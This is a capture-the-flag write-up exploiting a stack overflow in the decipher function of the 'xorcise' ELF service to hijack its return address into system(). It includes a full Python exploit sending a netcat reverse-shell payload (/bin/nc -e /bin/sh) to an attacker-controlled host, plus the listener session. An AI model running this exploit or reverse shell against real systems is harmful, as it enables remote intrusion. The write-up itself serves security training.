Skip to content Skip to navigation

xorcise (exploit 500)


We've got the following binary and its source code: xorcise.

$ file xorcise
xorcise: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked 
(uses shared libs), for GNU/Linux 2.6.32, not stripped

Looking attentively at source code you can find this interesting moment in decipher function:

#define BLOCK_SIZE 8
#define MAX_BLOCKS 16

uint32_t decipher(cipher_data *data, uint8_t *output)
    uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];   //128 
    uint32_t loop;
    uint32_t block_index;
    uint8_t xor_mask = 0x8F;

    memcpy(buf, data->bytes, sizeof(buf));
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
        data->length = BLOCK_SIZE * MAX_BLOCKS;

    for (loop = 0; loop < data->length; loop += 8)
        for (block_index = 0; block_index < 8; ++block_index)
    memcpy(output, buf, sizeof(buf));

Also you can get it looking at disasm or decompiled code:

I managed to find it firstly in C-source. So it looks like we can run loop for 8 additional bytes after the buffer buf because data->length is fully controlled by us. We just need to send data->length in range from 0x81 to 0x87. In this case external loop (with index variable loop) will run one more time and internal loop will rewrite other variables on the stack.

After looking at disassembler and some debugging in gdb we distinguished the following stack structure:

128 bytes of buf array

1 byte for xor_mask

4 bytes of block_index

4 bytes of loop


Not bad, we can overwrite xor_mask, block_index and 3 least significant bytes of loop. But when we corrupt block_index variable we are falling info infinite loop or breaking out of loop immediately.

After some analysis of memory addresses in the binary we understand another promising possibility.

We can set xor_mask to 0x00, then do not corrupt block_index (because it should be in range from 0 to 8 for loop execution) and then we set least significant byte of variable loop in such way that buf[loop + block_index] becomes reference for return address! Great! Go back to binary for searching best place for jump to.


So if we jump to 0x080492E9 from decipher, we will have on the stack the following data:

    size_t bytes_read;
    cipher_data encrypted;
    uint8_t decrypted[128];
    request *packet;
    uint32_t authenticated;

    memset(&encrypted, 0, sizeof(encrypted));
    memset(&decrypted, 0, sizeof(decrypted));

    bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
    if (bytes_read <= 0)
        printf("Error: failed to read socket\n");
        return -1;

    if (encrypted.length > bytes_read)
        printf("Error: invalid length in packet\n");
        return -1;

    decipher(&encrypted, decrypted);

Address of encrypted buffer which is fully contolled by us. Excellent!

Data of encrypted is formed in the following way:

struct cipher_data
    uint8_t length;
    uint8_t key[8];
    uint8_t bytes[128];

- length should be in range from 0x81 to 0x87;

- key we suggest to be {xor_mask, 0x00, 0x00, 0x00, 0x00, offset_to_ret_addr, mask_for_lsb_of_ret_addr, mask_for_2nd_bytes_of_ret_addr} but zero-bytes will terminate our buffer for system(). So we can set xor_mask to 0x20 (space character), then all following bytes will be xored with 0x20 and null-characters become spaces.

- key[5] must be (16 + 3) because return address is offseted by 16 bytes from loop index on the stack. +3 should be added because we are going to modify least significant byte of loop in such way to get least significant byte of return address on next iteration of loop.

- key[6:7] must be 0x9194 ^ 0x92e9 = 0x037d - return address of normal execution flow xored with address of "call system" and xored with 0x20 of course.

- in bytes we can send our payload for system() call, just start it with ";" to cut off all first inpropriate bytes:

;/bin/nc -e /bin/sh <BALALAIKACR3W_EVIL_SERVER_IP> 16969

And now full exploit looks:

from socket import create_connection
from struct import pack, unpack

L = '\x87' #length
xor = 0x20
k6 = 0x13
packet = L
packet_str = '\x00' * 5 + chr(k6) + '\x7D\x03'
for c in packet_str:
	packet += chr( xor ^ ord(c))

pl = ';/bin/nc -e /bin/sh <BALALAIKACR3W_EVIL_SERVER_IP> 16969\x00'
padding = 'A' * (128 - len(pl))
packet += pl + padding

s = create_connection(('', 24001))
print s.recv(1024)


Now just do something like that on our EVIL SERVER and wait for backconnect:

$ nc -lvvv -p 16969
listening on [any] 16969 ... inverse host lookup failed: Unknown server error : Connection timed out
connect to [BALALAIKACR3W_EVIL_SERVER_IP] from (UNKNOWN) [] 45427

ls -la
total 44
drwxr-xr-x 2 root root  4096 Sep 20 00:18 .
drwxr-xr-x 3 root root  4096 Sep 14 14:14 ..
-rw-r--r-- 1 root root    30 Sep 20 00:18 flag.txt
-rw-r--r-- 1 root root     7 Sep 12 19:13 password.txt
-rwxr-xr-x 1 root root 12308 Sep 12 19:08 xorcise
-rw-r--r-- 1 root root 10248 Sep 10 13:16 xorcise.c
cat flag.txt
cat password.txt

Flag is flag{code_exec>=crypto_break}